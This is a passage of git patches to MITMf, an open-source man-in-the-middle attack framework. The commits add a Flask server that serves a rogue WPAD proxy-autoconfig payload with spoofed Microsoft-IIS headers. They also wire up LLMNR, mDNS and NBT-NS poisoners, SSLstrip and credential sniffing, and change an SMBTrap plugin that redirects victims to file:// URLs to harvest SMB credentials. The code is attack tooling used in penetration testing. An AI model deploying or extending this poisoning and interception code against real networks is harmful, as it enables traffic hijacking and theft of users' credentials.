Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import sys +import threading + +from core.configwatcher import ConfigWatcher +from flask import Flask + +class HTTPserver: + + _instance = None + server = Flask(__name__) + port = int(ConfigWatcher.getInstance().config['MITMf']['HTTP']['port']) + + @staticmethod + def getInstance(): + if HTTPserver._instance is None: + HTTPserver._instance = HTTPserver() + + return HTTPserver._instance + + def startFlask(self): + self.server.run(host='0.0.0.0', port=self.port) + + def start(self): + server_thread = threading.Thread(name='HTTPserver', target=self.startFlask) + server_thread.setDaemon(True) + server_thread.start() \ No newline at end of file diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index e2656e8..0eabf7c 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -15,9 +15,9 @@ class SMBserver(ConfigWatcher): _instance = None impacket_ver = version.VER_MINOR - server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() - smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] - smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) + server_type = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["type"].lower() + smbchallenge = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["Challenge"] + smb_port = int(ConfigWatcher.getInstance().config["MITMf"]["SMB"]["port"]) @staticmethod def getInstance(): diff --git a/mitmf.py b/mitmf.py index 9ee2ef4..77f9ee7 100755 --- a/mitmf.py +++ b/mitmf.py @@ -29,7 +29,6 @@ from twisted.internet import reactor from core.sslstrip.CookieCleaner import CookieCleaner from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.utils import Banners, SystemConfig, shutdown -from core.mitmfapi import mitmfapi from plugins import * Banners().printBanner() @@ -159,18 +158,22 @@ reactor.listenTCP(args.listen, strippingFactory) for p in ProxyPlugins.getInstance().plist: p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it + p.startConfigWatch() if hasattr(p, 'startThread'): t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread) t.setDaemon(True) t.start() -mitmfapi().start() - print "|" print "|_ Sergio-Proxy v{} online".format(sergio_version) print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) +#Start MITMf-API +from core.mitmfapi import mitmfapi +mitmfapi().start() +print "|_ MITMf-API running on http://{}:{}/".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port) + #Start Net-Creds from core.netcreds.NetCreds import NetCreds NetCreds().start(args.interface, myip) @@ -182,9 +185,9 @@ DNSChef.getInstance().start() print "|_ DNSChef v{} online".format(DNSChef.version) #Start the HTTP Server -#from core.servers.http.HTTPServer import HTTPServer -#HTTPServer.getInstance().start() -#print "|_ HTTP server online" +from core.servers.http.HTTPserver import HTTPserver +HTTPserver.getInstance().start() +print "|_ HTTP server online" #Start the SMB server from core.servers.smb.SMBserver import SMBserver diff --git a/plugins/Responder.py b/plugins/Responder.py index 9ea9fec..f75b304 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -21,12 +21,12 @@ from plugins.plugin import Plugin from twisted.internet import reactor from core.utils import SystemConfig, shutdown +from core.configwatcher import ConfigWatcher from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter -from core.responder.wpad.WPADPoisoner import WPADPoisoner class Responder(Plugin): name = "Responder" @@ -54,8 +54,23 @@ class Responder(Plugin): LLMNRPoisoner().start(options, self.ourip) if options.wpad: - from core.responder.wpad.WPADPoisoner import WPADPoisoner - WPADPoisoner().start(options) + from core.servers.http.HTTPserver import HTTPserver + import flask + + server = HTTPserver.getInstance().server + + @server.route('/') + def wpad(wpad_req): + if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')): + payload = ConfigWatcher.getInstance().config['Responder']['WPADScript'] + + resp = flask.Response(payload) + resp.headers['Server'] = "Microsoft-IIS/6.0" + resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig" + resp.headers['X-Powered-By'] = "ASP.NET" + resp.headers['Content-Length'] = len(payload) + + return resp if self.config["Responder"]["MSSQL"].lower() == "on": from core.responder.mssql.MSSQLServer import MSSQLServer diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index e6657fc..fb7d95c 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -32,7 +32,7 @@ class SMBAuth(Inject, Plugin): def initialize(self, options): self.target_ip = SystemConfig.getIP(options.interface) - Inject.initialize(options) + Inject.initialize(self, options) self.html_payload = self._get_data() def _get_data(self): diff --git a/plugins/plugin.py b/plugins/plugin.py index ff0dd97..4578edf 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -10,7 +10,7 @@ mitmf_logger = logging.getLogger('mitmf') class Plugin(ConfigWatcher, object): name = "Generic plugin" optname = "generic" - tree_info = list() + tree_info = [] desc = "" version = "0.0" has_opts = False From f125b86aa0b06457c3a5b92c9632f658ba3e095a Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 20 Jun 2015 16:03:06 +0200 Subject: [PATCH 6/7] fixed scrolling issue in screenshotter.js, removed some useless output in mitmflib --- config/mitmf.conf | 7 +++---- core/javascript/screenshot.js | 2 +- core/mitmfapi.py | 5 +---- core/servers/http/HTTPserver.py | 3 +-- mitmf.py | 13 +++++++------ plugins/CacheKill.py | 9 ++++----- plugins/SMBTrap.py | 5 ++--- plugins/Upsidedownternet.py | 9 ++++----- 8 files changed, 23 insertions(+), 30 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index dd15322..7c4b96a 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -21,8 +21,8 @@ [[MITMf-API]] - host = '127.0.0.1' - port = '9090' + host = 127.0.0.1 + port = 9090 [[SMB]] @@ -77,9 +77,8 @@ # Here you can define the content to deliver # - # Format is urlpath = filesystem path (urlpath can be a regular expression) + # Format is urlpath = filesystem path - ".*" = "/var/www" "/test" = "/var/www2" [[DNS]] diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js index 55219d6..e8b1a8e 100644 --- a/core/javascript/screenshot.js +++ b/core/javascript/screenshot.js @@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) { }; } _html2canvas.Parse = function (images, options) { - window.scroll(0,0); + //window.scroll(0,0); var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default numDraws = 0, diff --git a/core/mitmfapi.py b/core/mitmfapi.py index b6c7ff8..f84ef71 100644 --- a/core/mitmfapi.py +++ b/core/mitmfapi.py @@ -36,9 +36,6 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins app = Flask(__name__) -#log = logging.getLogger('werkzeug') -#log.setLevel(logging.DEBUG) - class mitmfapi: _instance = None @@ -98,7 +95,7 @@ class mitmfapi: return json.dumps({"plugin": plugin, "response": "failed"}) def startFlask(self): - app.run(host=self.host, port=self.port) + app.run(debug=False, host=self.host, port=self.port) #def start(self): # api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask) diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py index aa585f6..67c64f1 100644 --- a/core/servers/http/HTTPserver.py +++ b/core/servers/http/HTTPserver.py @@ -19,7 +19,6 @@ # import logging -import sys import threading from core.configwatcher import ConfigWatcher @@ -39,7 +38,7 @@ class HTTPserver: return HTTPserver._instance def startFlask(self): - self.server.run(host='0.0.0.0', port=self.port) + self.server.run(debug=False, host='0.0.0.0', port=self.port) def start(self): server_thread = threading.Thread(name='HTTPserver', target=self.startFlask) diff --git a/mitmf.py b/mitmf.py index 77f9ee7..3e090ee 100755 --- a/mitmf.py +++ b/mitmf.py @@ -169,11 +169,6 @@ print "|" print "|_ Sergio-Proxy v{} online".format(sergio_version) print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) -#Start MITMf-API -from core.mitmfapi import mitmfapi -mitmfapi().start() -print "|_ MITMf-API running on http://{}:{}/".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port) - #Start Net-Creds from core.netcreds.NetCreds import NetCreds NetCreds().start(args.interface, myip) @@ -191,9 +186,15 @@ print "|_ HTTP server online" #Start the SMB server from core.servers.smb.SMBserver import SMBserver -print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) +print "|_ SMB server online [Mode: {}] (Impacket {})".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) SMBserver.getInstance().start() +#Start MITMf-API +from core.mitmfapi import mitmfapi +mitmfapi().start() +print "|" +print "|_ MITMf-API running on http://{}:{}\n".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port) + #start the reactor reactor.run() diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index 6c89333..0c21bd4 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -45,8 +45,7 @@ class CacheKill(Plugin): def clientRequest(self, request): '''Handles outgoing request''' - if self.getStatus(): - request.headers['pragma'] = 'no-cache' - for header in self.bad_headers: - if header in request.headers: - del request.headers[header] \ No newline at end of file + request.headers['pragma'] = 'no-cache' + for header in self.bad_headers: + if header in request.headers: + del request.headers[header] \ No newline at end of file diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py index 98e9aec..794a0b1 100644 --- a/plugins/SMBTrap.py +++ b/plugins/SMBTrap.py @@ -26,6 +26,5 @@ class SMBTrap(Plugin): return {"request": request, "version": version, "code": 302, "message": "Found"} def serverHeaders(self, response, request): - if self.getStatus(): - mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) - response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) + mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) + response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 3c710e2..fb46434 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -45,11 +45,10 @@ class Upsidedownternet(Plugin): def serverHeaders(self, response, request): '''Kill the image skipping that's in place for speed reasons''' - if self.getStatus(): - if request.isImageRequest: - request.isImageRequest = False - request.isImage = True - self.imageType = response.headers['content-type'].split('/')[1].upper() + if request.isImageRequest: + request.isImageRequest = False + request.isImage = True + self.imageType = response.headers['content-type'].split('/')[1].upper() def serverResponse(self, response, request, data): try: From d0660ea5ec226be29abc8dc4f8ec60f67c6b6a37 Mon Sep 17 00:00:00 2001 From: xtr4nge Date: Sun, 21 Jun 2015 13:38:22 +0100 Subject: [PATCH 7/7] Update mitmf.py --- mitmf.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/mitmf.py b/mitmf.py index 3e090ee..c963421 100755 --- a/mitmf.py +++ b/mitmf.py @@ -180,9 +180,9 @@ DNSChef.getInstance().start() print "|_ DNSChef v{} online".format(DNSChef.version) #Start the HTTP Server -from core.servers.http.HTTPserver import HTTPserver -HTTPserver.getInstance().start() -print "|_ HTTP server online" +#from core.servers.http.HTTPserver import HTTPserver +#HTTPserver.getInstance().start() +#print "|_ HTTP server online" #Start the SMB server from core.servers.smb.SMBserver import SMBserver @@ -199,4 +199,4 @@ print "|_ MITMf-API running on http://{}:{}\n".format(mitmfapi.getInstance().hos reactor.run() print "\n" -shutdown() \ No newline at end of file +shutdown()